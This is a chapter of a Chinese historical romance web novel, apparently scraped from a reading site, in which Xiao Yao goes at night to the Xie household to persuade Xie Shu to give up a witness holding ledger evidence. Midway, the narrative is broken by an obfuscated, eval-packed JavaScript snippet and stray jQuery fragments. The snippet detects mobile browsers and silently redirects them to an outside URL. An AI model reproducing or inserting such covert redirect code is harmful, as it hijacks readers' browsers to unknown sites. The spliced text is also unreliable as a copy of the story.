默认冷灰
24号文字
方正启体

17. 谢郎

作者:烹一碗春本书字数:K更新时间:
    “……你别这样,也…不全是你的问题。”


    之前那个对他没有好脸色,自作主张把商季沅拉到公堂上,还能把谢疏拉过来作证人的那个能耐人,他那个好嫂子,竟要在他面前哭了?


    她这样的人,竟然也会自责,会哭?


    他没任何想象的得意,更不似之前入府坑害她那般快乐,眼下,他只有慌张。


    “嫂嫂您听我说…其实应该还有……”商说一开口,发现舌头都打结。


    萧瑶突然道:“现在还有别的法子吗?”


    她浸在自己的情绪里,注意不到商说的手忙脚乱,但多年来她早养成了遇事先想解决办法,不在乎情绪的习惯。


    她上一刻难受,下一刻便能如常思考。


    既然打草惊蛇,那最该做的就是把伤害最小化,把姜王二人按照原定的法子将其抓起来。


    商说一愣,见眼前人再抬眸时眼睛里没了任何情绪,只有极不真实……的冷静。


    他看不明白,觉得意外。


    她张口问他:“现在的问题是,你说的那位拾娘,她手里是拿了姜瞿与王壁最后一份账簿,你现在就差那一件东西,就可以去状告姜王二人了,对吧?”


    商说喉间一紧,随后点头:“是的。但现在那人在谢疏手上,突破点就是她。”


    萧瑶轻攥紧了袖角,凝望着商说,此刻才弄明白这人为何过来。


    问罪是真的,但是有求于她也是真的。


    只怪她自己不查,这人手段方式了得,先刺激她,让她觉得自己妨了事,再顺理成章搬出解决方法,就由不得自己不应了。


    她竟被他牵着鼻子走了。


    萧瑶心中的自责渐消一些,她看着眼前人:“好,那接下来要做什么,我去做。”


    商说安然听着,见人就这么爽朗就应了下来。


    “谢疏不是什么恶人,拾娘纵然被她拿在手里了,她看到拾娘行踪可疑,手上又有那些证据,想来审起来也会留个心,不会立刻就把人解决了。”萧瑶思考着道,“今晚我去找她一趟,我来劝,劝她把拾娘交出来。”


    “你拿什么去劝?”既然说到正事,发展到这一步,商说也算得偿所愿。


    他仍看她,还在为她转变之快而惊讶。


    谢疏已给商若洗了冤屈,与商家两不相欠了。


    “姜谢两家不是打不死冲不垮的铁桶,这个我们都知道吧!”萧瑶道,“要不然你也没办法给人家身边安排外室,不对吗?”


    商说沉吟不语,目光淡淡扫过案上,将那个茶盏又倒满水,轻轻摇晃看着上面的波纹。


    算是默认。


    “我去劝便有我的方法,这点你不用操心。”


    这结果是他想要的,虽然进行万分别扭,两个人几乎要吵起来,但最后总算是让人答应了帮自己。


    萧瑶觉得被人牵着鼻子走,虽不觉得劝说有何为难,但到底不痛快,她到此缓缓道:“商郎好盘算,好口才,不过后头尽量有话直说,妾经不起这样的折腾。”


    “……”


    商说从方才萧瑶反应上还没完全缓过来,无言以答。而萧瑶此刻已见人没有话后,这次是真开门喊了:“送郎君走!”


    简单粗暴的令,外头归成守着,哪里有人进来?萧瑶等了半刻也不见一个家丁,心里便知是谁的安排,一时心头烦躁又生,转身直接把商说拉了搡了出去。


    商说带着归成回去的路上,步履匆匆走到前面,却一言不发。


    归成紧走两步,跟上去问:“郎君,如何?”


    商说口气闷的很:“她折腾了这样一招把咱们的计划坏了,但方才也答应了我,会去劝谢夫人。”


    他将方才发生的一切,以及在公堂上发生的事,悉数告知。归成听了后,默默点了点头。


    他要问接下来的事,但商说走着,目光只盯着前头的青石砖,半晌也没回应。


    “郎君?”


    分明是在走神,归成紧走两步到他身前半个身位,见自家主子才回过神来:“今晚用了晚膳后,你找几个身强力壮的家丁跟着她,送她小心过去,别再出了事。”


    归成颔首。他再抬眼,见商说神色分明不对劲,分明是在沉思什么,从方才从清合蕙宁出来后就心不在焉——但这个状态好像也不是眼下才开始的,前些天每次与萧瑶见了面,商说总要神色古怪半晌。


    眼下,这人眉间像有化不开的沉凝,但不像不悦,也不像有什么棘手事办不了,倒像是满心烦忧堵在胸口,掺着几分难以言说的尴尬。


    “郎…君,萧夫人那儿……您,没出什么事吧?”


    据对多年的了解,归成大着胆子问出了这样的话,二人心照不宣却都明白,弦外音很明显了。


    商说脚下立刻一顿,脸色一变冲他怒视过来,归成瞧着他主子脸上倒见了红晕,像被撞破了什么窘迫事,忙道:“主子……您别生气。”


    商说本觉得尴尬,归成与他一同长大,什么心思都瞒不过,但这人又突然劝他“别生气”,让他有一种被人揭破了什么羞耻事情,而又过来安抚他让他冷静的情状。


    他非但没被安慰好,反而脸五颜六色起来,归成见状,心下更慌了。


    但刚走出人家门口没几丈,他知他主子气急也不能在这儿吼,忙乱之下,想着好死不死地安慰:“您别不好受……这人之常情,男人都得娶老婆……”


    话毕才发觉此话更荒唐,他出口的话猛地一停,商说的眼光立变凌厉,切齿笑了:“你要是实在闲的慌,就滚去领二十板子。”


    “……”归成一凛,立刻清醒了,忙垂头闭了嘴。


    这笔账不宜再问,就这么稀里糊涂地结束。


    商说越发糊涂,总觉得有什么东西蒙在脑中,他看不清。


    是夜,萧瑶带着归成给安排的一众家丁,乘车到了地方。


    不是姜府,而是谢家。


    叩门后,有小厮来门口打开门,他们得了准允,萧瑶嘱咐身后人都原地等着,只由自己一人去。


    没去姜家是有考量,她一人拥了沉重的月白大裘过了穿堂,见前头廊下正立着一个颀长如竹的剪影。


    见她来了,那人似早有预料,带着后头下人三两步迎了上来,萧瑶驻足,冲人有礼道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241056|197735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “妾深夜造访,扰了贵府清净,还望恕罪。”


    那人的左右人皆提灯笼。


    萧瑶见过礼,抬眸去瞧,眼前男人映于微光轮廓偏薄,衣袂垂落时线条流畅,又着厚重的棉袍,连脖颈都裹在绒领里,但露出一张清瘦有骨的脸,眉宇温和,柔而不弱,似有先秦君子遗风。


    他礼貌道:“无事,萧夫人有事但来无妨。”


    在谢家,除了家主之外的任何一个,都无权这么说。


    此人必定是谢砚,谢润台。


    萧瑶看清人面目之后,再次俯了俯身:“多谢郎君,妾此来目的想来郎君知道。”


    谢砚身边人拿着暖灯,灯光映照下,他转过身一抬手:“自然知道。家姊今晚饭间便与在下说过了,眼下正在后头院子里等着,夫人去就是了。”


    谢疏是今日傍晚回来的,谢砚对阿姊的事向来关照,可对此次事却不太了解。据下人的话,他只知道家姊去了趟商家赴宴,第二日回去后便与丈夫大吵一架,然后就摔门而出,带着女儿回来了。


    谢家这一脉只有谢砚与谢疏两个,父母早亡,他自己先后娶了两房妻子都病死了,算命的都说他命里克妻,要么配个命硬的和乐一世,要么便是哪个也留不住,娶一房没一房。更建议他甚至别插手别人夫妻事,也是有忌讳的。


    所以对此次阿姊的事,他就没干涉。


    萧瑶和他寒暄过后,道了谢,谢砚便着人引路将人送去后院去了。


    允记望着远去的夫人,又转头看看自家主子,见谢砚目光正落到萧瑶远去的裙角处出神,不由提醒道:“郎君……该走了。”


    今晚月色不朦,清辉朗朗洒下,连檐角的霜色都照得分明,院内静澈。


    谢砚出着神,倏尔眯了眯眼,将外头衣服拢的更紧了些,待看萧瑶跨进对面院子彻底没了影,才回去了。


    萧瑶跨进屋子,里头冷寂一片,唯有屋中央炉火烧的旺,而屋内案边坐着的谢疏只引了一只灯烛,目光盯着那光点出神道:“萧夫人来了。”


    “是,妾来了。”她神色暗淡,眉目无光,萧瑶见了一时有些自责,“夫人切要珍重自身,不要因为外头人作践了自己。”


    谢疏闻言分明蹙了蹙眉,好像又是触到伤心事。


    她扶案起身,和萧瑶与自己一同坐了旁边的高凳上,对面而坐。


    谢疏今晚没着华丽衣服,只穿的体面的厚袄,连头发都只盘了没有之前那样插珠钗。


    她眼眸下垂不看萧瑶,话音语气却坚定:“如果你是为了安慰我,让我不要难过而来的,那咱们就喝几盏茶说上几句,但如果是为了他们男人官场上的事情,来作说客的……”


    这话说的萧瑶早有预料,看来谢疏果真是拿了拾娘后就得知了商说的打算。但具体知道多少,有没有向姜瞿透露,萧瑶却不知道。


    她只得心下盘算着,看着谢疏眼睛里隐隐有泪,唇线却绷得极紧:“做说客的话,那就不必开口了。我与姜郎膝下有女儿,温和可爱,我纵恨他行为作风不好,但也不可能为了伸张什么正义,让我女儿早早失了爹,日后被人冷眼嘲讽,一世不乐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)